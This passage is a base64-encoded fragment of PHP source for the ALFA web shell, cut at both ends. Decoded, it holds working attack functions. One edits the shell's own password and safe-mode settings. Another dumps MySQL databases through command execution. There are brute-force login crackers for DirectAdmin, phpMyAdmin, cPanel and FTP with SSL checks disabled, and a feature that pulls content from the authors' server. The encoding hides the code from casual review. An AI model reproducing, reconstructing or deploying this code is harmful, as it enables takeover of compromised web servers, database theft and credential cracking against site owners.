lwnID0+IFwnJy4kdXNlcm5hbWUuJ1wnLCc7JGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTt9aWYoIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkmJnByZWdfbWF0Y2goJGZpbmRfcHcsJGRhdGEsJGUpKXskbmV3ID0gJ1wncGFzc1wnID0+IFwnJy4kcGFzc3dvcmQuJ1wnLCc7JGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTt9CWlmKCFlbXB0eSgkbGdwYWdlKSYmcHJlZ19tYXRjaCgkZmluZF9sZywkZGF0YSwkZSkpeyRuZXcgPSAnXCdsb2dpbl9wYWdlXCcgPT4gXCcnLiRsZ3BhZ2UuJ1wnLCc7JGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTt9aWYoIWVtcHR5KCRmaW5kX3ApJiZwcmVnX21hdGNoKCRmaW5kX3AsJGRhdGEsJGUpKXskbmV3ID0gJ1wnc2FmZW1vZGVcJyA9PiBcJycuJHByb3RlY3QuJ1wnLCc7JGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTt9aWYocHJlZ19tYXRjaCgkaWNvbnMsJGRhdGEsJGUpKXskbmV3ID0gJ1wnc2hvd19pY29uc1wnID0+IFwnJy4kaWNvbi4nXCcsJzskZGF0YSA9IHN0cl9yZXBsYWNlKCRlWzBdLCRuZXcsJGRhdGEpO31pZihwcmVnX21hdGNoKCRwb3N0RW5jLCRkYXRhLCRlKSl7JG5ldyA9ICdcJ3Bvc3RfZW5jcnlwdGlvblwnID0+ICcuJHBvc3RfZW5jcnlwdC4nLCc7JGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTt9aWYoQGZpbGVfcHV0X2NvbnRlbnRzKCRiYXNlbmFtZSwkZGF0YSkpe2VjaG8gJzxiPlVzZXJOYW1lOiA8L2I+PGZvbnQgY29sb3I9ImdyZWVuIj48Yj4nLiR1c2VybmFtZS4nPC9iPjwvZm9udD48YnIgLz48Yj5QYXNzd29yZDogPC9iPjxmb250IGNvbG9yPSJncmVlbiI+PGI+Jy4kX1BPU1RbJ2FsZmE0J10uJzwvYj48L2ZvbnQ+PHNjcmlwdD5wb3N0X2VuY3J5cHRpb25fbW9kZSA9ICcuJHBvc3RfZW5jcnlwdC4nOzwvc2NyaXB0Pic7fWVsc2V7X19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPkZpbGUgaGFzIG5vIGVkaXQgYWNjZXNzLi4uITwvc3Bhbj4iKTt9fWVsc2V7X19hbGVydCgiPHNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPlVzZXJOYW1lIGlzIEVtcHR5ICE8L3NwYW4+Iik7fX19ZWxzZWlmKCRfUE9TVFsiYWxmYTgiXSA9PSAiY29sb3IiKXtlY2hvKCc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEN1c3RvbSBDb2xvciB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PSJyZWxvYWRDb2xvcnMoKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+Jyk7ZWNobyAnPHRhYmxlIGJvcmRlcj0iMSI+PHRib2R5Pic7JHRlbXBsYXRlID0gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgaHJlZj0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9jdXN0b21jb2xvcnMve2hlbHB9LnBuZyIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IGNvbG9yPSIjMDBGRjAwIj5IZWxwPC9mb250PjwvYT48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48ZGl2IGNsYXNzPSJ0Ymx0eHQiPntpbmRleH08L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPSJ0Ymx0eHQiIHN0eWxlPSJtYXJnaW4tbGVmdDo1cHg7Ij57dGFyZ2V0fTo8L2Rpdj48L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjYwcHg7IiBtdWx0aT0ie211bHRpfSIgaWQ9Imd1aV97dGFyZ2V0fSIgb25DaGFuZ2U9ImNvbG9ySGFuZGxlcih0aGlzKTsiIHRhcmdldD0iLnt0YXJnZXR9IiB0eXBlPSJjb2xvciIgdmFsdWU9Intjb2xvcn0iPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiBtdWx0aT0ie211bHRpfSIgb25rZXl1cD0iY29sb3JIYW5kbGVyS2V5KHRoaXMpOyIgdGFyZ2V0PSIue3RhcmdldH0iIGlkPSJpbnB1dF97dGFyZ2V0fSIgY2xhc3M9ImNvbG9yc19pbnB1dCIgcGxhY2Vob2xkZXI9IiNmZmZmZmYiIHZhbHVlPSJ7Y29sb3J9Ij48L3RkPjwvdHI+JzskeCA9IDE7Zm9yZWFjaCgkR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSBhcyAka2V5ID0+ICR2YWx1ZSl7JG11bHRpID0gIiI7aWYoaXNfYXJyYXkoJHZhbHVlKSl7aWYoaXNzZXQoJHZhbHVlWyJtdWx0aV9zZWxlY3RvciJdKSl7JG11bHRpID0gX19aVzVqYjJSbGNnKGpzb25fZW5jb2RlKCR2YWx1ZSkpO319JHZhbHVlID0gYWxmYV9nZXRDb2xvcigka2V5KTskaGVscCA9IHN0cnRvbG93ZXIoc3RyX3JlcGxhY2UoYXJyYXkoIjoiLCAiKyIpLCBhcnJheSgiXyIsICJfcGx1cyIpLCAka2V5KSk7ZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2luZGV4fSIsICJ7dGFyZ2V0fSIsICJ7Y29sb3J9IiwgInttdWx0aX0iLCAie2hlbHB9IiksIGFycmF5KCR4KyssICRrZXksICR2YWx1ZSwgJG11bHRpLCAkaGVscCksICR0ZW1wbGF0ZSk7fWVjaG8gJzx0cj48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+LTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxkaXYgY2xhc3M9InRibHR4dCI+KjwvZGl2PjwvdGQ+PHRkPjxkaXYgc3R5bGU9Im1hcmdpbi1sZWZ0OjVweDsiIGNsYXNzPSJ0Ymx0eHQiPlVzZSBEZWZhdWx0IENvbG9yOjwvZGl2PjwvdGQ+PHRkPjwvdGQ+PHRkPjxjZW50ZXI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idXNlX2RlZmF1bHRfY29sb3IiIHZhbHVlPSIxIj48L2NlbnRlcj48L3RkPjwvdHI+JztlY2hvICc8L3Rib2R5PjwvdGFibGU+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9wPjwvZm9ybT48cD48YnV0dG9uIHN0eWxlPSJwYWRkaW5nOjRweDs7bWFyZ2luLXJpZ2h0OjIwcHg7IiBvbmNsaWNrPSIkKFwnaW1wb3J0RmlsZUJ0blwnKS5jbGljaygpOyIgY2xhc3M9ImJ1dHRvbiI+IEltcG9ydCA8L2J1dHRvbj4gPGJ1dHRvbiBzdHlsZT0icGFkZGluZzo0cHg7bWFyZ2luLWxlZnQ6MjBweDsiIG9uY2xpY2s9ImcoXCdzZXR0aW5nc1wnLG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCxudWxsLG51bGwsXCdleHBvcnRcJyxcJ2NvbG9yXCcpIiBjbGFzcz0iYnV0dG9uIj4gRXhwb3J0IDwvYnV0dG9uPjwvY2VudGVyPjwvcD4nO2lmKCRfUE9TVFsnYWxmYTcnXT09J2V4cG9ydCcpe2VjaG8gX19wcmUoKTskY29sb3JzID0gaXNfYXJyYXkoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXSk/JEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXTphcnJheSgpOyRnbG9iX2NvbG9ycyA9ICRHTE9CQUxTWyJfX0FMRkFfQ09MT1JfXyJdOyRhcnJheSA9IGFycmF5KCk7Zm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpe2lmKGlzc2V0KCRjb2xvcnNbJGtdKSYmIWVtcHR5KCRjb2xvcnNbJGtdKSYmISRpc19kZWZhdWx0KXskdiA9IHRyaW0oJGNvbG9yc1ska10pO31lbHNleyR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTt9JGFycmF5WyRrXSA9ICR2O30kZmlsZSA9ICJhbGZhX2NvbG9yX2NvbmZpZ18iLmRhdGUoJ1ktbS1kLWhfaV9zJykuIi5jb25mIjskY29uZmlnID0ganNvbl9lbmNvZGUoJGFycmF5LCBKU09OX1BSRVRUWV9QUklOVCk7aWYoIUBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJGNvbmZpZykpe2VjaG8oJzxwPjxjZW50ZXI+Q29sb3IgQ29uZmlnOjxicj48YnI+PHRleHRhcmVhIHJvd3M9IjEyIiBjb2xzPSI3MCIgdHlwZT0idGV4dCI+Jy4kY29uZmlnLic8L3RleHRhcmVhPjwvY2VudGVyPjwvcD4nKTt9ZWxzZXtlY2hvKCc8aDM+PHA+PGNlbnRlcj48YSBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kZmlsZS4nXCcsIFwnZG93bmxvYWRcJykiPjxmb250IGNvbG9yPSIjMEYwIj5Eb3dubG9hZCBDb25maWc8L2ZvbnQ+PC9hPjwvY2VudGVyPjwvcD48L2gzPicpO319aWYoJF9QT1NUWydhbGZhMiddPT0nPj4nKXtlY2hvIF9fcHJlKCk7JGNvbG9ycyA9IGpzb25fZGVjb2RlKCRfUE9TVFsiYWxmYTEiXSx0cnVlKTskYXJyYXkgPSAiIjskaXNfZGVmYXVsdCA9IGlzc2V0KCRfUE9TVFsiYWxmYTMiXSkmJiRfUE9TVFsiYWxmYTMiXT09IjEiP3RydWU6ZmFsc2U7JGdsb2JfY29sb3JzID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl07Zm9yZWFjaCgkZ2xvYl9jb2xvcnMgYXMgJGsgPT4gJHYpe2lmKGlzc2V0KCRjb2xvcnNbJGtdKSYmIWVtcHR5KCRjb2xvcnNbJGtdKSYmISRpc19kZWZhdWx0KXskdiA9IHRyaW0oJGNvbG9yc1ska10pO31lbHNleyR2ID0gdHJpbShpc19hcnJheSgkdik/JHZbImtleV9jb2xvciJdOiR2KTt9JGFycmF5IC49ICciJy50cmltKCRrKS4nIiA9PiAiJy4kdi4nIiwnO31AY2hkaXIoJEdMT0JBTFNbJ2hvbWVfY3dkJ10pOyRiYXNlbmFtZSA9IEBiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7JGRhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJGJhc2VuYW1lKTskY29sb3IgPSAnL1wnY29sb3JcJyguKj8pXCksL3MnO2lmKHByZWdfbWF0Y2goJGNvbG9yLCRkYXRhLCRlKSl7JG5ldyA9ICInY29sb3InID0+IGFycmF5KCIuJGFycmF5LiIpLCI7JGRhdGEgPSBzdHJfcmVwbGFjZSgkZVswXSwkbmV3LCRkYXRhKTtpZihAZmlsZV9wdXRfY29udGVudHMoJGJhc2VuYW1lLCAkZGF0YSkpe2VjaG8oIjxjZW50ZXI+PHA+PGgzPlsrXSBTdWNjZXNzLi4uPC9oMz48L3A+PC9jZW50ZXI+PHNjcmlwdD5sb2NhdGlvbi5yZWxvYWQoKTs8L3NjcmlwdD4iKTt9ZWxzZXtlY2hvKCI8Y2VudGVyPjxwPjxoMz5bLV0gV2UgTm90IGhhdmUgcGVybWlzc2lvbiB0byBFZGl0IHNoZWxsLi4uITwvaDM+PC9wPjwvY2VudGVyPiIpO319ZWxzZXtlY2hvKCI8Y2VudGVyPjxwPjxoMz5bLV0gRXJyb3IuLi4hPC9oMz48L3A+PC9jZW50ZXI+Iik7fX19ZWNobygnPC9kaXY+Jyk7YWxmYWZvb3RlcigpO30gIGZ1bmN0aW9uIGFsZmFwbHVzKCl7YWxmYWhlYWQoKTtlY2hvICc8ZGl2IGNsYXNzPSJoZWFkZXIiPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQWxmYSArIHw8L2Rpdj48L3A+PGNlbnRlcj48aDM+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3BsdXNcJyxudWxsLFwnbmV3c1wnKTsiPnwgTmV3cyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGx1c1wnLG51bGwsXCd0b29sc1wnKSI+fCBUb29scyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwncGx1c1wnLG51bGwsXCdhYm91dFwnKSI+fCBBYm91dCBVcyB8IDwvYT48L2gzPjwvY2VudGVyPic7aWYoJF9QT1NUWydhbGZhMSddPT0nbmV3cyd8fCRfUE9TVFsnYWxmYTEnXT09J3Rvb2xzJyl7dHJ5eyRzMSA9ICdodHRwOi8vc29sZXZpc2libGUuY29tLycuKCRfUE9TVFsnYWxmYTEnXT09J25ld3MnPyduZXdzLnBocCc6J3Rvb2xzLnBocCcpOyRtc2cgPSAiPGNlbnRlcj48Zm9udCBjb2xvcj0ncmVkJz48Yj48cD5DYW5gdCBDb25uZWN0IHRvIFJlbW90ZSBTZXJ2ZXIgLi4uITxicj5QbGVhc2UgVHJ5IEFnYWluIExhdGVyLi4uITwvcD48L2I+PC9mb250PjwvY2VudGVyPiI7JG5ld3MgPSBuZXcgQWxmYUNVUkwoKTtpZigkbmV3cy0+U2VuZCgkczEpKXskeG1sID0gJG5ld3MtPlNlbmQoJHMxKTt9ZWxzZXskeG1sID0gZmFsc2U7fWlmKCR4bWwpe2lmKEBzaW1wbGV4bWxfbG9hZF9zdHJpbmcoJHhtbCkpeyRkb2MgPSBuZXcgRE9NRG9jdW1lbnQ7JGRvYy0+bG9hZFhNTCgkeG1sKTskZGF0YSA9ICRkb2MtPmdldEVsZW1lbnRzQnlUYWdOYW1lKCdkYXRhJyktPml0ZW0oMCk7JGl0ZW1zID0gJGRhdGEtPmdldEVsZW1lbnRzQnlUYWdOYW1lKCdpdGVtJyk7Zm9yZWFjaCgkaXRlbXMgYXMgJGl0ZW0peyR0aXRsZSA9ICRpdGVtLT5nZXRFbGVtZW50c0J5VGFnTmFtZSgndGl0bGUnKS0+aXRlbSgwKS0+bm9kZVZhbHVlOyRkZXNjcmlwdGlvbiA9ICRpdGVtLT5nZXRFbGVtZW50c0J5VGFnTmFtZSgnZGVzY3JpcHRpb24nKS0+aXRlbSgwKS0+bm9kZVZhbHVlOyRsaW5rID0gJGl0ZW0tPmdldEVsZW1lbnRzQnlUYWdOYW1lKCdsaW5rJyktPml0ZW0oMCktPm5vZGVWYWx1ZTskcHViRGF0ZSA9ICRpdGVtLT5nZXRFbGVtZW50c0J5VGFnTmFtZSgncHViRGF0ZScpLT5pdGVtKDApLT5ub2RlVmFsdWU7ZWNobyhfX3ByZSgpLiI8Y2VudGVyPjxhIGhyZWY9JyRsaW5rJyB0YXJnZXQ9J19ibGFuayc+JHRpdGxlPC9hPjxicj4kZGVzY3JpcHRpb248YnI+PHNtYWxsPjxmb250ICBjb2xvcj0nI0ZGRkZGRic+PGI+RGF0ZTogJHB1YkRhdGU8L2I+PC9mb250Pjwvc21hbGw+PC9jZW50ZXI+PC9wcmU+Iik7fX1lbHNle2VjaG8oJG1zZyk7fX1lbHNle2VjaG8oJG1zZyk7fX1jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gJGUtPmdldE1lc3NhZ2UoKTt9fWVsc2VpZigkX1BPU1RbJ2FsZmExJ109PSdhYm91dCcpe2VjaG8gX19wcmUoKS4iPHByZT48Y2VudGVyPjxpbWcgc3JjPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZyc+PGJyPjxicj48Yj48Zm9udCBzaXplPScrMycgY29sb3I9JyMwMEEyMjAnPiYjOTc3NDsgfiBQRUFDRSB+ICYjOTc3NDs8L2ZvbnQ+PGI+PGJyPjxicj48Zm9udCBjb2xvcj0nIzAwQTIyMCc+U2hlbGwgQ29kZWQgQnkgU29sZSBTYWQgJiBJbnZpc2libGUgKEFMRkEgVEVhTSk8L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0nIzAwQTIyMCc+Q29udGFjdCA6IHNvbGV2aXNpYmxlQGdtYWlsLmNvbTwvZm9udD48YnI+PGJyPjxmb250IGNvbG9yPScjMDBBMjIwJz5UZWxlZ3JhbSBDaGFubmVsOiBAc29sZXZpc2libGU8L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBlaHNhbi5pbnZpc2libGU8L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0nI0ZGRkZGRic+U2t5cGUgOiBzb2xlLnNhZDwvZm9udD48YnI+PGJyPjxmb250IGNvbG9yPScjRkYwMDAwJz5QZXJzaWFuIEd1bGYgRm9yIEV2ZXI8L2ZvbnQ+PGJyPjxicj48Zm9udCBjb2xvcj0nI0ZGMDAwMCc+SXJhbmlhbiBIYWNrZXJzIDopPC9mb250Pjxicj48YnI+PGZvbnQgY29sb3I9JyNGRjAwMDAnPk91ciBGcmllbmRzIDogTXIuUEVSU0lBICwgUjN2ZUMwZGVyPC9mb250Pjxicj48YnI+PC9jZW50ZXI+PC9wcmU+PGlmcmFtZSBzcmM9J3RnOi8vcmVzb2x2ZT9kb21haW49c29sZXZpc2libGUnIGZyYW1lYm9yZGVyPScwJyB3aWR0aD0nMCcgaGVpZ2h0PScwJz48L2lmcmFtZT4iO31lY2hvKCc8L2Rpdj4nKTthbGZhZm9vdGVyKCk7fSAgZnVuY3Rpb24gYWxmYUR1bXBlcigpe2FsZmFoZWFkKCk7ZWNobygnPGRpdiBjbGFzcz0iaGVhZGVyIj4nKTtlY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBNeXNxbCBEYXRhYmFzZSBEdW1wZXIgfDwvZGl2Pjxicj48YnI+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPGZvcm0gbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD1cImcoJ2R1bXBlcicsbnVsbCxudWxsLG51bGwsdGhpcy5kYl91c2VybmFtZS52YWx1ZSx0aGlzLmRiX3Bhc3N3b3JkLnZhbHVlLHRoaXMuZGJfbmFtZS52YWx1ZSx0aGlzLmRmaWxlLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj48cD4iOyR0YWJsZSA9IGFycmF5KCd0ZDEnID0+YXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLCd0ZDInID0+YXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3VzZXJuYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3VzZXJuYW1lJywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksJ3RkMycgPT5hcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfcGFzc3dvcmQgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfcGFzc3dvcmQnLCAnaWQnID0+ICdkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksJ3RkNCcgPT5hcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksJ3RkNScgPT5hcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRHVtcCBQYXRoOiAnLCAnaW5wdXROYW1lJyA9PiAnZGZpbGUnLCAnaW5wdXRWYWx1ZScgPT4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidhbGZhLnNxbCcsICdpbnB1dFNpemUnID0+ICc1MCcpKTtjcmVhdGVfdGFibGUoJHRhYmxlKTtlY2hvICI8YnI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnIG5hbWU9J1N1Ym1pdCc+PC9wPjwvZm9ybT48L2NlbnRlcj4iOyR1c2VybmFtZSA9ICgkX1BPU1RbJ2FsZmEzJ10pOyRwYXNzd29yZCA9ICgkX1BPU1RbJ2FsZmE0J10pOyRkYm5hbWUgPSAoJF9QT1NUWydhbGZhNSddKTskZGZpbGUgPSAoJF9QT1NUWydhbGZhNiddKTskaG9zdCA9ICgkX1BPU1RbJ2FsZmE3J10pO2lmKCFlbXB0eSgkZGJuYW1lKSl7ZWNobyBfX3ByZSgpOyRtc2cgPSAiPGNlbnRlcj5DaGVjayB0aGlzIDogIDxmb250IGNvbG9yPSdyZWQnPiIuJGRmaWxlLiI8L2ZvbnQ+PC9jZW50ZXI+IjtpZihAbXlzcWxpX2Nvbm5lY3QoJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCwkZGJuYW1lKSl7aWYoc3RybGVuKGFsZmFFeCgibXlzcWxkdW1wIikpPjApe2FsZmFFeCgibXlzcWxkdW1wIC0tc2luZ2xlLXRyYW5zYWN0aW9uIC0taG9zdD1cIiRob3N0XCIgLS11c2VyPVwiJHVzZXJuYW1lXCIgLS1wYXNzd29yZD1cIiRwYXNzd29yZFwiICRkYm5hbWUgPiAnIi5hZGRzbGFzaGVzKCRkZmlsZSkuIiciKTtlY2hvKCRtc2cpO31lbHNle19fYWxlcnQoIkVycm9yLi4uISIpO319ZWxzZXtlY2hvKCc8Y2VudGVyPm15c3FsaV9jb25uZWN0IDogRXJyb3IhPC9jZW50ZXI+Jyk7fX1lY2hvKCc8L2Rpdj4nKTthbGZhZm9vdGVyKCk7fSAgZnVuY3Rpb24gQWxmYV9EaXJlY3RBZG1pbl9DcmFja2VyKCRpbmZvKXtpZighJGluZm9bJ215c3FsJ10pJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXS4nL0NNRF9MT0dJTic7ZWxzZSAkdXJsID0gJGluZm9bJ3Byb3RvY29sJ10uJGluZm9bJ3RhcmdldCddLicvcGhwbXlhZG1pbic7JGN1cmwgPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwwKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICRpbmZvWyd1c2VybmFtZSddLic6Jy4kaW5mb1sncGFzc3dvcmQnXSk7aWYoJGluZm9bJ215c3FsJ10pY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0FOWSk7JHJlc3VsdCA9IGN1cmxfZXhlYygkY3VybCk7JGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTskY3VybF9lcnJvciA9IGN1cmxfZXJyb3IoJGN1cmwpO2lmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fWVsc2VpZihwcmVnX21hdGNoKCcvQ01EX0ZJTEVfTUFOQUdFUnxmcmFtZXNldC9pJywkcmVzdWx0KSl7IGVjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOyRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7Q3JhY2tlclJlc3VhbHQoJGluZm8pO31jdXJsX2Nsb3NlKCRjdXJsKTt9ICBmdW5jdGlvbiBBbGZhX0NQX0NyYWNrZXIoJGluZm8peyR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J107JGN1cmwgPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwxKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSQUdFTlQsJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMjsgV09XNjQ7IHJ2OjE3LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMTcuMCcpO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwwKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgiQXV0aG9yaXphdGlvbjogQmFzaWMgIiAuIF9fWlc1amIyUmxjZygkaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10pIC4gIlxuXHIiKSk7Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTskcmVzdWx0ID0gY3VybF9leGVjKCRjdXJsKTskY3VybF9lcnJubyA9IGN1cmxfZXJybm8oJGN1cmwpOyRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7aWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9ZWxzZWlmKHByZWdfbWF0Y2goJy9maWxlbWFuYWdlci9pJywkcmVzdWx0KSl7ZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7JGluZm9bJ3RhcmdldCddID0gJHVybDtDcmFja2VyUmVzdWFsdCgkaW5mbyk7fWN1cmxfY2xvc2UoJGN1cmwpO30gIGZ1bmN0aW9uIEFsZmFfRlRQX0NyYWNrZXIoJGluZm8peyR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J107JGN1cmwgPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy4wJyk7Y3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJQV0QsICIiLiRpbmZvWyd1c2VybmFtZSddLiI6Ii4kaW5mb1sncGFzc3dvc